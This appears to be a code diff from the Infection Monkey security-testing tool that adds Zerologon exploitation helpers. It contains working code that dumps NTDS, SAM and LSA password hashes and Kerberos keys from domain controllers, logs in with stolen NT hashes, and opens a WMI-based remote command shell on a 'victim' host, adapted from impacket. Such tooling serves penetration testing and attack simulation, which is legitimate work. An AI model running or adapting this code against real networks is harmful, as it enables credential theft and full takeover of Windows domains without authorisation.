# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
if self.__is_remote is True:
if self.__use_VSS_method and self.__remote_ops is not None:
NTDS_file_name = self.__remote_ops.saveNTDS()
else:
NTDS_file_name = None
else:
NTDS_file_name = self.__ntds_file
self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote,
noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
)
try:
self.__NTDS_hashes.dump()
except Exception as e:
LOG.debug(traceback.print_exc())
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None:
os.unlink(resume_file)
LOG.error(e)
if self.__use_VSS_method is False:
LOG.error(
'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
self.cleanup()
except (Exception, KeyboardInterrupt) as e:
LOG.debug(traceback.print_exc())
LOG.error(e)
if self.__NTDS_hashes is not None:
if isinstance(e, KeyboardInterrupt):
resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None:
os.unlink(resume_file)
try:
self.cleanup()
except Exception:
pass
finally:
sys.stdout = _orig_stdout
_new_stdout.seek(0)
dumped_secrets = _new_stdout.read() # includes hashes and kerberos keys
return dumped_secrets
def cleanup(self):
LOG.debug('Cleaning up...')
if self.__remote_ops:
self.__remote_ops.finish()
if self.__SAM_hashes:
self.__SAM_hashes.finish()
if self.__LSA_secrets:
self.__LSA_secrets.finish()
if self.__NTDS_hashes:
self.__NTDS_hashes.finish()

View File

@ -0,0 +1,38 @@
from dataclasses import dataclass
@dataclass()
class OptionsForSecretsdump:
bootkey = None
can_process_SAM_LSA = True
dc_ip = None
debug = False
exec_method = 'smbexec'
hashes = None
is_remote = True
just_dc = True
just_dc_ntlm = False
k = False
keytab = None
no_lmhash = True
no_pass = True
ntds = None
sam = None
security = None
system = None
target = None
target_ip = None
ts = False
use_vss = False
def __init__(self, dc_ip=None, just_dc=True, sam=None, security=None, system=None, target=None, target_ip=None):
# dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in ../zerologon.py
self.dc_ip = dc_ip
# just_dc becomes False, and sam, security, and system are assigned in get_original_pwd_nthash() in ../zerologon.py
self.just_dc = just_dc
self.sam = sam
self.security = security
self.system = system
# target and target_ip are assigned in get_admin_pwd_hashes() in ../zerologon.py
self.target = target
self.target_ip = target_ip

View File

@ -0,0 +1,127 @@
import cmd
import logging
import ntpath
import os
import sys
import time
LOG = logging.getLogger(__name__)
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
# Used to start remote shell on victim
class RemoteShell(cmd.Cmd):
CODEC = sys.stdout.encoding
def __init__(self, share, win32Process, smbConnection, outputFilename):
cmd.Cmd.__init__(self)
self.__share = share
self.__output = '\\' + outputFilename
self.__outputBuffer = str('')
self.__shell = 'cmd.exe /Q /c '
self.__win32Process = win32Process
self.__transferClient = smbConnection
self.__pwd = str('C:\\')
self.__noOutput = False
# We don't wanna deal with timeouts from now on.
if self.__transferClient is not None:
self.__transferClient.setTimeout(100000)
self.do_cd('\\')
else:
self.__noOutput = True
def do_get(self, src_path):
try:
import ntpath
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail)
local_file_path = os.path.join(
os.path.expanduser('~'), 'monkey-'+filename)
fh = open(local_file_path, 'wb')
LOG.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
fh.close()
except Exception as e:
LOG.error(str(e))
if os.path.exists(local_file_path):
os.remove(local_file_path)
def do_exit(self, s):
return True
def do_cd(self, s):
self.execute_remote('cd ' + s)
if len(self.__outputBuffer.strip('\r\n')) > 0:
print(self.__outputBuffer)
self.__outputBuffer = ''
else:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = (self.__pwd + '>')
self.__outputBuffer = ''
def default(self, line):
# Let's try to guess if the user is trying to change drive.
if len(line) == 2 and line[1] == ':':
# Execute the command and see if the drive is valid.
self.execute_remote(line)
if len(self.__outputBuffer.strip('\r\n')) > 0:
# Something went wrong.
print(self.__outputBuffer)
self.__outputBuffer = ''
else:
# Drive valid, now we should get the current path.
self.__pwd = line
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = (self.__pwd + '>')
self.__outputBuffer = ''
else:
if line != '':
self.send_data(line)
def get_output(self):
def output_callback(data):
try:
self.__outputBuffer += data.decode(self.CODEC)
except UnicodeDecodeError:
LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py '
'again with -codec and the corresponding codec')
self.__outputBuffer += data.decode(self.CODEC,
errors='replace')
if self.__noOutput is True:
self.__outputBuffer = ''
return
while True:
try:
self.__transferClient.getFile(
self.__share, self.__output, output_callback)
break
except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
# Output not finished, let's wait.
time.sleep(1)
elif str(e).find('Broken') >= 0:
# The SMB Connection might have timed out, let's try reconnecting.
LOG.debug('Connection broken, trying to recreate it')
self.__transferClient.reconnect()
return self.get_output()
self.__transferClient.deleteFile(self.__share, self.__output)
def execute_remote(self, data):
command = self.__shell + data
if self.__noOutput is False:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
self.__win32Process.Create(command, self.__pwd, None)
self.get_output()
def send_data(self, data):
self.execute_remote(data)
print(self.__outputBuffer)
self.__outputBuffer = ''

View File

@ -0,0 +1,68 @@
import logging
import time
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
from impacket.smbconnection import SMBConnection
from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell
LOG = logging.getLogger(__name__)
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
# Used to get HKLM keys for restoring original DC password
class Wmiexec:
OUTPUT_FILENAME = '__' + str(time.time())
def __init__(self, ip, username, hashes, password='', domain='', share='ADMIN$'):
self.__ip = ip
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash, self.__nthash = hashes.split(':')
self.__share = share
self.shell = None
def connect(self):
self.smbConnection = SMBConnection(self.__ip, self.__ip)
self.smbConnection.login(user=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash)
self.dcom = DCOMConnection(target=self.__ip,
username=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash,
oxidResolver=True)
try:
iInterface = self.dcom.CoCreateInstanceEx(
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
self.iWbemServices = iWbemLevel1Login.NTLMLogin(
'//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
except (Exception, KeyboardInterrupt) as e:
LOG.error(str(e))
self.smbConnection.logoff()
self.dcom.disconnect()
def get_remote_shell(self):
self.connect()
win32Process, _ = self.iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME)
return self.shell
def close(self):
self.smbConnection.close()
self.smbConnection = None
self.dcom.disconnect()
self.dcom = None

View File

@ -208,7 +208,7 @@ class InfectionMonkey(object):
if self.try_exploiting(machine, exploiter):
host_exploited = True
VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send()
if exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET:
if exploiter.RUNS_AGENT_ON_SUCCESS:
break # if adding machine to exploited, won't try other exploits on it
if not host_exploited:
self._fail_exploitation_machines.add(machine)
@ -352,14 +352,14 @@ class InfectionMonkey(object):
try:
result = exploiter.exploit_host()
if result:
self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET)
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
return True
else:
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
except ExploitingVulnerableMachineError as exc:
LOG.error("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET)
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
return True
except FailedExploitationError as e:
LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e)
@ -370,13 +370,13 @@ class InfectionMonkey(object):
exploiter.send_exploit_telemetry(result)
return False
def successfully_exploited(self, machine, exploiter, should_add_machine_to_exploited_set=True):
def successfully_exploited(self, machine, exploiter, RUNS_AGENT_ON_SUCCESS=True):
"""
Workflow of registering successfully exploited machine
:param machine: machine that was exploited
:param exploiter: exploiter that succeeded
"""
if should_add_machine_to_exploited_set:
if RUNS_AGENT_ON_SUCCESS:
self._exploited_machines.add(machine)
LOG.info("Successfully propagated to %s using %s",

View File

@ -214,7 +214,7 @@ class ReportService:
creds = []
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
if len(monkey_creds) == 0:
return
return []
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
for user in monkey_creds:
for pass_type in PASS_TYPE_DICT: